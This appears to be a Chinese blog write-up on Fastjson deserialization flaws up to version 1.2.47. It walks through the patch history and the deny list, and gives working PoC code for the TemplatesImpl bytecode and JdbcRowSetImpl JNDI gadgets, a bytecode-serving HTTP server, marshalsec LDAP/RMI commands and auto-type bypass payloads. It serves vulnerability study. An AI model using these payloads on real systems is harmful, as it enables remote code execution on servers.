0x00 初识Fastjson
前段时间分析了一下Fastjson的历史漏洞,在这里做下记录。
1、为了方便切换Fastjson的版本,我用idea新建了一个maven项目,在pom.xml中引入Fastjson:
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
2、感受下Fastjson的用法,先创建个简单的JavaBean如下:
public class User {
private String name;
public String getName() {
System.out.println("getName is running ...");
return name;
}
public void setName(String name) {
System.out.println("setName is running ...");
this.name = name;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
'}';
}
}
3、在下面用Fastjson去将json数据反序列化为对象:
public class Test {
public static void main(String[] args) {
String json = "{\"@type\":\"com.hldf.fsvt.User\", \"name\":\"zhangsan\"}";
Object obj = JSON.parse(json);
System.out.println(obj); //输出User{name='zhangsan'}
}
}
上面代码中输出的是一个Object类型的对象,但是从输出结果中看到该Object对象已经被解析为了User类型的对象。这就是json数据中的@type属性起的作用,
Fastjson支持在json数据中使用@type属性指定该json数据被反序列为什么类型的对象。
同时控制台也输出了 setName is running … ,
说明在反序列化对象时,会执行javabean的setter方法为其属性赋值。
0x01 漏洞原理
继续使用上面的代码,通过设置断点,找到了调用javabean的setter方法的地方:
com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(Object object, Object value):
在该方法中可以得出如下结论:
1、fileldinfo类中包含javabean的属性名称及其setter、getter等Method对象,然后通过反射的方式调用setter方法为属性赋值。
2、当javabean中存在属性为AtomicInteger、AtomicLong、AtomicBoolean、Map或Collection类型,且fieldinfo.getOnly值为true时(当javabean的属性没有setter方法,只有getter方法时,该值为true),在反序列化时会调用该属性的getter方法。
因此在User类中添加一个Properties类型(Properties属于Map类型)的属性进行测试:
User类如下:
public class User {
private Properties properties;
private String name;
public String getName() {
System.out.println("getName is running ...");
return name;
}
public void setName(String name) {
System.out.println("setName is running ...");
this.name = name;
}
public Properties getProperties() {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
return properties;
}
}
Test类如下:
public class Test {
public static void main(String[] args) {
String json = "{\"@type\":\"com.hldf.tools.User\", \"name\":\"zhangsan\", \"properties\":{}}";
Object obj = JSON.parse(json);
System.out.println(obj);
}
}
当运行以上main方法时,会弹出计算器。如果在User类中为properties属性添加setter方法后,反序列化时只会调用setter方法,不会调用getter方法,因为fieldinfo.getOnly值为false。
通过上面的分析,就可以寻找恶意类了,有以下两种思路:
1、通过属性的getter方法触发gadgets链造成代码执行,但该属性不能有setter方法,且该属性必须为AtomicInteger、AtomicLong、AtomicBoolean、Map或Collection其中一种类型。
2、通过属性的setter方法触发gadgets链造成代码执行。
0x02 POC分析
分析了网上一些公开的poc,利用原理也可以根据上面的两个思路分为两类:
2.1 通过getter方法触发gadgets:
下面是我的测试代码,测试用的payload只能在Fastjson1.2.24版本使用:
1、TemplatesImplTest类如下:
public class TemplatesImplTest {
public static void main(String[] args) throws Exception {
String className = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
//获取Exec类的字节码
String bytecode = FileTool.getEvil(Class.forName("com.hldf.tools.Exec"));
String json = "{\"@type\":\"" + className + "\"," +
"\"_bytecodes\":[\"" + bytecode + "\"]," +
"'_name':''," +
"'_tfactory':{}," +
"\"_outputProperties\":{}," +
"\"_name\":\"\"," +
"\"_version\":\"\"," +
"\"allowedProtocols\":\"\"}";
System.out.println(json);
//设置反序列化时对类的私有属性进行赋值
JSON.parse(json, Feature.SupportNonPublicField);
}
}
2、下面是我写的一个工具类,通过Class对象获取其字节码:
public class FileTool {
//获取Class对象的字节码,并进行Base64编码
public static String getEvil(Class clazz) throws Exception{
InputStream inputStream = FileTool.class.getResourceAsStream("/" + clazz.getName().replaceAll("\\.", "/")+".class");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while(inputStream.available()>0) {
byteArrayOutputStream.write(inputStream.read());
}
String res = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return res;
}
}
3、com.hldf.tools.Exec类如下:
public class Exec extends AbstractTranslet {
public Exec() {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
通过调试分析出了gadgets链,不是很复杂,这里就不贴图了,简单描述一下:
当反序列化com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类时, 由于_outputProperties 属性是Map类型,且该属性只有getter方法,没有setter方法,因此会有如下调用链:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties
() --> newTransformer() --> getTransletInstance() --> defineTransletClasses(),到了这里,会读取_bytecodes[] 属性中的字节码,并判断如果该字节码对应类的父类是AbstractTranslet类,则会调用newInstance()方法实例化该类的对象,该方法是通过调用类的无参构造函数实例化对象的,因此就会执行上面的com.hldf.tools.Exec类中的无参构造函数中的命令。
虽然上面的测试代码中给_bytecodes属性传入的字节码是经过base64编码的,但在defineTransletClasses()方法中加载字节码之前,在com.alibaba.fastjson.parser.JSONScanner.bytesValue() 方法中,已经将其进行了解码 。
2.2 通过setter方法触发gadgets:
通过setter方法触发gadgets的方式,大都是基于jndi注入的,这里就以com.sun.rowset.JdbcRowSetImpl为例:
下面是测试类代码:
public class JdbcRowSetImplTest {
public static void main(String[] args) {
String className = "com.sun.rowset.JdbcRowSetImpl";
//ldap服务地址
String dataSourceName = "ldap://127.0.0.1:1099/XX";
String json = "{\"@type\":\"" + className + "\"," +
"\"dataSourceName\":\"" + dataSourceName + "\"," +
"\"autoCommit\":true" +
"}";
JSON.parse(json, Feature.SupportNonPublicField);
}
}
同样,gadgets链很简单,就不截图了。
在对com.sun.rowset.JdbcRowSetImpl类反序列化时,会先执行dataSourceName属性的setter方法,给dataSourceName属性赋值为ldap://127.0.0.1:1099/XX,然后执行autoCommit属性的setter方法,有如下调用链:
setAutoCommit() --> connect() --> ctx.lookup(getDataSourceName())。
这样就造成了jndi注入。这时漏洞服务器会去请求ldap://127.0.0.1:1099/XX,用marshalsec启动一个ldap服务,如下:
漏洞服务器获取ldap的响应后,将会从http://127.0.0.1:80/地址去加载com.hldf.tools.Exec类,为了方便,我是用java代码启动了一个http服务来提供Exec的字节码,代码如下:
public class HttpTool {
//开启一个http服务,并根据请求地址返回对应类的字节码,如请求/com/Test,则返回com.Test类的字节码
public static void main(String[] args) throws IOException {
System.out.println("Starting HTTP server");
HttpServer httpServer = HttpServer.create(new InetSocketAddress(80), 0);
httpServer.createContext("/", new HttpHandler() {
@Override
public void handle(HttpExchange httpExchange) throws IOException {
try {
System.out.println("new http request from "+httpExchange.getRemoteAddress()+" "+httpExchange.getRequestURI());
InputStream inputStream = HttpTool.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while(inputStream.available()>0) {
byteArrayOutputStream.write(inputStream.read());
}
byte[] bytes = byteArrayOutputStream.toByteArray();
httpExchange.sendResponseHeaders(200, bytes.length);
httpExchange.getResponseBody().write(bytes);
httpExchange.close();
} catch(Exception e) {
e.printStackTrace();
}
}
});
httpServer.setExecutor(null);
httpServer.start();
}
}
这时http请求的url为http://127.0.0.1:80/com/hldf/tools/Exec.class,该http服务就会响应com.hldf.tools.Exec类的字节码。测试时,com.hldf.tools.Exec类代码还是2.1中贴出的代码,在创建Exec类的对象时,就造成了命令执行。
这里jndi注入原理没有深入解释,后面有时间再介绍。
0x03 修复历史
3.1 Fastjson1.2.25
Fastjson1.2.24爆出第一个反序列化漏洞后,在Fastjson1.2.25进行了修复。
修改测试项目pom.xml配置中的Fastjson版本为1.2.25后,运行JdbcRowSetImplTest的main方法,会有如下错误:
于是进入checkAutoType方法查看,发现添加了如下黑名单,看着很全面:
String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
下图中红框部分就是在判断@type属性值是否在黑名单里,如果在黑名单直接抛出异常:
如果@type值不在黑名单时,且autoTypeSupport属性值为true时,就会用如下方法加载该类:
进入com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)方法可以看到,当类名以“[”开头,或者以“L”开头“;”结尾,也是可以加载该类的:
因此Fastjson1.2.25的绕过方式就是让@type属性值以“L”开头,“;”结尾,如:Lcom.sun.rowset.JdbcRowSetImpl;”,
前提是服务端autoTypeSupport属性值为true。但是autoTypeSupport从1.2.25开始就默认是false了,因此漏洞利用还是有一定限制。
从上面可以看到如果@type属性值以“[”开头也是可以成功加载类的,但是如果@type属性值设置成“[com.sun.rowset.JdbcRowSetImpl”方式会导致解析json数据时出现语法错误。
3.2 Fastjson1.2.42
最终在Fastjson1.2.42中,修复了上述绕过手段,如下图所示,在与黑名单进行比较之前就去除了类名中的“L”与“;”。
3.3 Fastjson1.2.48
3.3.1 Fastjson1.2.48中修复的绕过方式
上面讲到的小于1.2.42版本的绕过方式,其在实际利用上还是有一定限制的,因为服务端autoTypeSupport属性必须为true。但是在1.2.48版本中修复的这种绕过方式,是不受autoTypeSupport属性限制的,因此危害很大。
1、首先修改pom.xml中的Fastjson版本为1.2.47
2、仍然以com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类为例进行测试,poc如下:
{"XXX":{"@type":"java.lang.Class","val":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"},"XXX":{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64编码的恶意类字节码"],"_name":"","_tfactory":{},"_outputProperties":{},"_name":"","_version":"","allowedProtocols":""}}
Fastjson解析该json时,先解析第一部分json:
{"@type":"java.lang.Class","val":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"}
再解析第二部分json,该部分其实就是之前使用的poc:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64编码的恶意类字节码"],"_name":"","_tfactory":{},"_outputProperties":{},"_name":"","_version":"","allowedProtocols":""}
所以是Fastjson在解析第一部分json数据时,帮助com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类绕过了黑名单检测。
3、修改2.1节中TemplatesImplTest类的json数据为上面的poc,调试代码分析一下:
public class TemplatesImplTest2 {
public static void main(String[] args) throws Exception {
String className = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
//获取Exec类的字节码
String bytecode = FileTool.getEvil(Class.forName("com.hldf.tools.Exec"));
String json = "{" +
"\"xxx\":{\"@type\":\"java.lang.Class\",\"val\":\"" + className + "\"}," +
"\"xxx\":{" +
"{\"@type\":\"" + className + "\"," +
"\"_bytecodes\":[\"" + bytecode + "\"]," +
"'_name':''," +
"'_tfactory':{}," +
"\"_outputProperties\":{}," +
"\"_name\":\"\"," +
"\"_version\":\"\"," +
"\"allowedProtocols\":\"\"" +
"}" +
"}";
System.out.println(json);
//设置反序列化时对类的私有属性进行赋值
JSON.parse(json, Feature.SupportNonPublicField);
}
}
4、首先进入checkAutoType方法:
5、然后到了这里,该方法就是在一个Map对象里面查找有没有类名为typeName的类,调试后发现是可以查到的,因此这里会直接获取到一个java.lang.Class的对象:
6、获取java.lang.Class对象后,checkAutoType方法就会把该对象返回
7、然后会有如下调用栈:
8、最终进入到com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader, boolean)方法,可以看到下图红框中cache值为true,于是就将json数据中的val字段值及其Class对象put进入了com.alibaba.fastjson.util.TypeUtils的mappings对象,也正是这个操作导致了后面的绕过:
9、将断点直接运行到解析第二部分json数据时的checkAutoType方法如下地方:
10、进入该方法,可以看到它其实就是在com.alibaba.fastjson.util.TypeUtils的mappings对象中查找是否有类名为className的类,上面第八步已经将com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类的类名及其Class对象给put进去了,因此成功获取到该类的Class对象:
11、然后checkAutoType方法就将获取到的Class对象返回,到这个地方为止,其实还没到黑名单校验的地方,因此导致的漏洞产生。
3.3.2 Fastjson1.2.48中的修复
Fastjson对以上绕过的修复方式很简单,在调用com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader, boolean)方法时,将cache的值默认修改为了false,从而防止在com.alibaba.fastjson.util.TypeUtils的mappings对象中添加恶意类。
3.4 JNDI Reference + RMI攻击
在JDK6u141、JDK7u131、JDK8u121版本之后,已经无法使用以下方式攻击Fastjson,因为com.sun.jndi.rmi.object.trustURLCodebase的默认值变为了false,即默认不允许通过RMI远程加载Reference类。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
http://127.0.0.1:80/#com.hldf.tools.Exec
3.5 JNDI Reference + LDAP攻击
在JDK 11.0.1、8u191、7u201、6u211版本之后,也无法使用如下方式攻击Fastjson,因为com.sun.jndi.ldap.object.trustURLCodebase默认值变为了false,即默认不允许通过LDAP远程加载Reference类。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
http://127.0.0.1:80/#com.hldf.tools.Exec
4 总结
1、Fastjson的autoTypeSupport属性值从Fastjson1.2.25开始默认就是false,在不设置autoTypeSupport属性值为true的情况下,只能通过白名单方式添加Fastjson可信任的反序列化类,因此采用这种方式风险很小。
2、autoTypeSupport属性值设置为true时,虽然在checkAutoType方法中会有黑名单校验,但是一旦发现了不在黑名单的可利用的类仍然存在被攻击风险。因此不建议开发者开启autoTypeSupport属性。